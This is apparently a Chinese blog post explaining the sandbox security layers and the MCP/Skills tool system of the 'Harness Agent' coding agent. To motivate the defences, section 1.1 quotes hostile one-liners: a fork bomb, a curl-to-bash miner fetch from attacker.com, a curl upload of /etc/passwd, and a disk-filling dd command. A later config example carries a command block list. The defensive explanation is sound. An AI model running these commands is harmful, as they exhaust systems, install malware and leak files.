【Harness Agent】源码剖析(三):沙箱安全与工具生态——从白名单到 MCP
今天,我们进入 Harness 最"硬核"的子系统——沙箱安全与工具生态。Coding Agent 的核心矛盾是:它需要强大的执行能力(读写文件、执行命令、访问网络),但这些能力一旦被恶意利用,后果不堪设想。 Harness 的解法是"四层纵深防御 + 三种沙箱模式 + 审计全链路追溯",同时通过 MCP 协议和 Skills 技能系统实现工具的动态扩展。理解了这两个系统,你就理解了 Harnes
【Harness Agent】源码剖析(三):沙箱安全与工具生态——从白名单到 MCP

写在前面:前两篇我们拆完了 Harness Agent 的架构全貌和 Core Engine/Steering 系统。今天,我们进入 Harness 最"硬核"的子系统——沙箱安全与工具生态。Coding Agent 的核心矛盾是:它需要强大的执行能力(读写文件、执行命令、访问网络),但这些能力一旦被恶意利用,后果不堪设想。 Harness 的解法是"四层纵深防御 + 三种沙箱模式 + 审计全链路追溯",同时通过 MCP 协议和 Skills 技能系统实现工具的动态扩展。理解了这两个系统,你就理解了 Harness 为什么敢让 AI Agent 执行任意 Shell 命令。
📑 文章目录
- 📌 一、为什么 Coding Agent 需要沙箱?
- 🛡️ 二、四层纵深防御体系
- 📦 三、三种沙箱模式:None / Process / Docker
- 🖥️ 四、Shell 执行管道:六阶段安全过滤
- 🔌 五、工具生态:Tools + MCP + Skills
- 🏁 六、系列终章回顾
📌 一、为什么 Coding Agent 需要沙箱?
1.1 四种真实攻击向量
当你运行 harness --permission bypass 时,Agent 拥有完整的系统访问权限——网络、文件系统、进程。如果 Agent 被恶意 Prompt 诱导,或者执行了不可信来源的代码,会发生什么?
攻击向量一:Fork Bomb。Agent 执行 :(){ :|:& };:,创建无限子进程,耗尽系统资源,导致机器崩溃。这不是假设——这是每个 Coding Agent 都必须防御的真实威胁。
攻击向量二:Crypto Miner。Agent 执行 curl -s http://attacker.com/miner | bash,在后台安装并运行挖矿软件,持续消耗 CPU。由于 Agent 本身就会长时间运行,挖矿行为很难被察觉。
攻击向量三:Data Exfiltration。Agent 执行 curl attacker.com -d @/etc/passwd,将敏感文件发送到攻击者控制的服务器。更隐蔽的变体可能只发送环境变量中的 API Key。
攻击向量四:Disk Fill。Agent 执行 dd if=/dev/zero of=/tmp/huge bs=1G,创建巨大文件耗尽磁盘空间,导致其他服务崩溃。
1.2 Harness 的核心安全原则
Harness 的安全设计遵循一个核心原则:默认拒绝,显式允许。Agent 不能做任何事,除非你明确授权。这个原则贯穿了从权限系统到沙箱配置到审计日志的每一层。
🛡️ 二、四层纵深防御体系

Harness 的安全不是单点防御,而是四层纵深防御(Defense-in-Depth)。每一层都是独立的防线,即使某一层被绕过,下一层仍然有效。
2.1 第一层:Permissions — 权限门控
权限系统是第一道防线,决定 Agent 能不能执行某个操作。Harness 支持三种权限模式:
| 模式 | 行为 | 适用场景 |
|---|---|---|
| ask | 每次工具调用前询问用户 | 交互式使用,安全优先 |
| auto | 自动允许安全操作,询问危险操作 | 日常开发,平衡安全与效率 |
| bypass | 自动允许所有操作 | CI/CD 环境,效率优先(需配合沙箱) |
# permissions/policy.py — 权限策略
class PermissionPolicy:
def check(self, tool_call: ToolCall) -> PermissionDecision:
if self.mode == "ask":
return PermissionDecision.ASK
elif self.mode == "auto":
if tool_call.is_destructive:
return PermissionDecision.ASK
return PermissionDecision.ALLOW
else: # bypass
return PermissionDecision.ALLOW
2.2 第二层:Sandbox — 沙箱隔离
沙箱是第二道防线,即使 Agent 获得了执行权限,操作也在隔离环境中运行。Harness 提供三种沙箱模式(详见第三节),从无隔离到完全 Docker 隔离。
2.3 第三层:Audit — 审计追溯
审计是第三道防线,记录所有工具调用、文件修改、模型响应。即使攻击发生了,也能事后追溯和恢复。
# audit/logger.py — 审计日志
class AuditLogger:
def log_tool_call(self, tool: str, args: dict, result: Any):
entry = AuditEntry(
timestamp=now(),
tool=tool,
args=args,
result_hash=hash(result),
session_id=self.session_id,
)
self.store.append(entry)
审计日志的关键特性:不可篡改(append-only)、可查询(按 session/tool/time)、可回放(重现完整执行路径)。
2.4 第四层:Steering — 行为引导
Steering 是第四道防线,通过事件驱动 System Reminder 在关键决策点注入安全提醒。例如:工具调用前提醒"不要删除 .git 目录",迭代超限提醒"考虑换策略"。这防止了 LLM 在长会话中"遗忘"安全策略。
📦 三、三种沙箱模式:None / Process / Docker

3.1 None 模式——无隔离
最简单的模式,命令直接在宿主机执行。适合完全信任 Agent 的场景(如本地开发、CI/CD)。
优点:零开销、最快速度、完整系统访问。缺点:零隔离、Agent 拥有完整权限、风险最高。
harness --sandbox none "Run the test suite"
# 命令直接在宿主机执行,无任何限制
3.2 Process 模式——进程级隔离
使用 setrlimit 在进程级别限制资源。不需要 Docker,轻量快速。
核心限制:
| 限制 | 配置项 | 默认值 | 说明 |
|---|---|---|---|
| 内存 | max_memory_mb |
512 | 每条命令的内存上限 |
| CPU 时间 | max_cpu_seconds |
30 | 每条命令的 CPU 时间上限 |
| 进程数 | max_processes |
256 | 防止 Fork Bomb |
| 网络 | network_access |
false | 禁止网络访问 |
| 文件路径 | allowed_paths |
项目目录 | 只允许访问指定路径 |
# sandbox/process.py — 进程级沙箱
class ProcessSandbox:
def execute(self, command: str, config: SandboxConfig):
# 1. 设置 setrlimit 限制
resource.setrlimit(resource.RLIMIT_AS, (config.max_memory_mb * 1024 * 1024, -1))
resource.setrlimit(resource.RLIMIT_CPU, (config.max_cpu_seconds, -1))
resource.setrlimit(resource.RLIMIT_NPROC, (config.max_processes, -1))
# 2. 设置文件路径白名单
if config.allowed_paths:
os.chroot(self._create_chroot(config.allowed_paths))
# 3. 禁止网络(Linux namespace)
if not config.network_access:
self._disable_network()
# 4. 执行命令
return subprocess.run(command, timeout=config.max_cpu_seconds)
3.3 Docker 模式——容器级隔离
使用 Docker 容器提供完整隔离。文件系统、网络、进程全部隔离,是最安全的模式。
核心优势:完整文件系统隔离、网络命名空间(--network=none)、最强隔离级别、自定义镜像实现可复现环境。
要求:Docker 必须安装、Docker daemon 必须运行、启动比 Process 模式慢、首次使用需拉取镜像。
harness --sandbox docker "Run the test suite"
# 在 Docker 容器中执行,完整隔离
# 默认镜像:python:3.12-slim
3.4 SandboxConfig vs SandboxPolicy
Harness 区分了两种沙箱配置对象:
- SandboxConfig:来自 TOML 文件的扁平配置,用于文件级配置
- SandboxPolicy:运行时策略对象,由 Engine 从 SandboxConfig 转换而来,包含更丰富的运行时逻辑
# TOML → SandboxConfig → SandboxPolicy
config = SandboxConfig(
enabled=True, mode="process",
max_memory_mb=512, network_access=False,
allowed_paths=["/home/user/project"],
blocked_commands=["rm -rf /", "curl"]
)
policy = SandboxPolicy.from_config(config) # 转换为运行时策略
🖥️ 四、Shell 执行管道:六阶段安全过滤
Harness 的 Shell 执行不是简单的 subprocess.run(),而是一个六阶段安全管道:
阶段一:Parse — 命令解析
将原始命令字符串解析为结构化表示,识别命令名、参数、管道、重定向等。
阶段二:Validate — 命令验证
对照 blocked_commands 和 allowed_commands 列表验证命令。如果命令在黑名单中,直接拒绝;如果不在白名单中(当白名单启用时),也拒绝。
阶段三:Transform — 命令变换
对命令进行安全变换:移除危险重定向(如 > /etc/passwd)、注入超时前缀(如 timeout 30)、添加路径限制前缀。
阶段四:Execute — 沙箱执行
在沙箱环境中执行变换后的命令。根据沙箱模式选择 Process 或 Docker 执行。
阶段五:Capture — 输出捕获
捕获 stdout、stderr 和退出码。对输出进行截断(防止超长输出淹没上下文)和脱敏(移除环境变量中的密钥)。
阶段六:Return — 结果返回
将结构化的执行结果返回给 Agent Loop。包含:退出码、stdout(截断后)、stderr(截断后)、执行时间、资源使用量。
🔌 五、工具生态:Tools + MCP + Skills

5.1 内置工具集(Static Tools)
Harness 内置了一套完整的 Coding Agent 工具集,每个工具都有 Pydantic 输入验证和 JSON Schema 自描述。模型自动理解工具参数,无需手动描述。
| 工具 | 功能 | 安全等级 |
|---|---|---|
| file_read | 读取文件内容 | 只读 |
| file_write | 写入文件 | 写入 |
| shell_exec | 执行 Shell 命令 | 执行(最高权限) |
| edit | 编辑文件(fuzzy match) | 写入 |
| grep / glob | 搜索文件 | 只读 |
| web_fetch | 获取网页内容 | 网络 |
5.2 MCP 协议集成(Dynamic Tools)
MCP(Model Context Protocol)是 Harness 的动态工具扩展机制。Agent 可以连接到 MCP 服务器,运行时发现和加载外部工具。
核心特性:
- 动态发现:MCP 服务器在运行时暴露工具列表,Agent 自动发现
- 传输协议:支持 stdio(本地进程)和 SSE(远程 HTTP)两种传输
- 热加载:无需重启 Agent,MCP 工具自动合并到工具集
- 权限继承:MCP 工具继承 Agent 的权限策略和沙箱配置
# .harness/config.toml — MCP 服务器配置
[mcp.servers]
github = { command = "mcp-server-github" }
postgres = { command = "mcp-server-postgres", args = ["--db", "myapp"] }
5.3 Skills 技能系统(Lazy-Loaded)
Skills 是 Harness 的懒加载技能系统。每个 Skill 是一个 Markdown 文件,定义了触发条件、所需工具和提示词模板。Skill 只在触发条件满足时才加载到上下文中,不浪费 Token 预算。
# skills/audit-report.md
---
trigger: "audit report"
tools: [mcp.audit.*]
priority: 10
---
Generate a comprehensive audit report covering:
1. User actions in the last 24 hours
2. Resource changes and deployments
3. Authentication events and access patterns
5.4 工具发现与合并流程
当 Agent 启动时,工具发现流程如下:
- 加载内置工具:从
tools/目录加载静态工具集 - 连接 MCP 服务器:根据配置启动 MCP 服务器,获取动态工具列表
- 扫描 Skills 目录:检查
skills/目录中的 Markdown 文件 - 合并工具集:将静态工具 + MCP 工具 + Skill 工具合并为统一工具集
- 生成 JSON Schema:为每个工具生成 JSON Schema,供 LLM 理解
- 懒加载 Skills:Skill 的提示词只在触发条件满足时注入
🏁 六、系列终章回顾
三篇文章,我们从全局到细节,完整拆解了 Harness Agent 的源码架构。最后,用一张表回顾全系列:
全系列核心概念速查
| 篇目 | 核心概念 | 一句话总结 |
|---|---|---|
| 第一篇 | 五层架构 + Agent Loop | Harness 是包裹在 LLM 外面的完整基础设施 |
| 第二篇 | Core Engine + Steering | 四层配置 + 三种 Workflow + 事件驱动 Reminder |
| 第三篇 | 沙箱安全 + 工具生态 | 四层纵深防御 + 三种沙箱 + MCP + Skills |
Harness Agent 设计哲学总结
1. 安全优先:默认拒绝,显式允许。四层纵深防御确保即使一层被绕过,下一层仍然有效。
2. 模型无关:支持任意 OpenAI 兼容端点,四层配置让不同 Workflow 绑定不同模型。
3. Compound AI System:不是单一 LLM 调用,而是多 Agent + 多 Workflow + 多 LLM 的结构化组合。
4. 可观测性:所有操作可审计、可追溯、可回放。透明是安全的基础。
5. 可扩展性:MCP 协议实现动态工具发现,Skills 实现懒加载技能注入,不浪费 Token 预算。
三大框架终极对比
| 维度 | Harness Agent | LangGraph | OpenClaw |
|---|---|---|---|
| 定位 | Coding Agent 运行时 | Agent 编排框架 | Agent Gateway |
| 安全 | 四层纵深防御 + 三种沙箱 | Channel/Reducer + Checkpoint | PRISM 五层防御 + Tool Policy |
| 状态 | Context + Compaction | Channel + Reducer | Lane Queue + Session |
| 工具 | Static + MCP + Skills | ToolNode | Channel/Skills |
| 模型 | 多模型按 Workflow 绑定 | 单模型 | 单模型(pi-mono) |
| 适用 | Coding Agent / 终端 | 通用工作流 | 多平台 Agent |
一句话总结
Harness Agent 用四层纵深防御(Permissions → Sandbox → Audit → Steering)确保 Coding Agent 安全可控,三种沙箱模式(None/Process/Docker)覆盖从开发到生产的所有场景,六阶段 Shell 执行管道确保每条命令都经过安全过滤。工具生态用 MCP 协议实现动态扩展,Skills 技能系统实现懒加载注入。安全不是 Harness 的一个功能——它是 Harness 的设计基础。
参考链接:
更多推荐




所有评论(0)